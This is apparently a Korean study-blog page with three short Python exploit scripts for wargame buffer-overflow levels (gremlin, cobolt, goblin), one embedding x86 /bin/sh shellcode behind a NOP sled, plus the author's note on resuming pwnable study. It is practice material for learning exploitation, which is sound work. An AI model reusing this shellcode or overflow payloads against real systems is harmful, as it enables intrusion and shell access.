'2019/04/10'에 해당되는 글 4건

exploit.py

import os
from struct import *


p = lambda x : pack("<L" , x)
path = '/home/cobolt/goblin'
shellAddress =  p(0xbffffba9)
payload = "A"*20+shellAddress
print payload

exploit.py

import os
from struct import *


p = lambda x : pack("<L" , x)


path = '/home/gremlin/cobolt'
shellAddress =  p(0xbffffc44)
payload = "A"*20+shellAddress


os.execl(path,path,payload)

exploit.py

import os
from struct import *


p = lambda x : pack("<L" , x)


shellAddress =  p(0xbffff948)


payload = "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*31+"AAAA"+shellAddress
print payload
os.execl('/home/gate/gremlin','/home/gate/gremlin',payload)

1년정도전에 이주정도 잠깐 포너블 공부를 해보고 리버싱이랑 웹한다고 계속 포너블 공부를 미루고있었다.

웹, 리버싱이 스스로 어느정도 한다고 느껴지면 집중적으로 파보려고 했는데 하면할수록 공부할게 점점 많아져서 이러다 포너블 공부를 아예 놓게될까봐 늦기전에 하루에 최소 1~2시간 이상은 딴거 공부하면서 짬짬히 포너블 공부도 해보기로 했다.

예전에 조금 공부하긴해봤는데 하나도 기억이 안나서 예전에 푼 문제들 다시 복습하면서 천천히 실력을 늘려봐야겠다.

요번년도부터 포너블 공부도 꾸준히 해서 웹 버그헌팅만 하지말고 시스템쪽도 버그헌팅 할 수 있도록 해봐야겠다.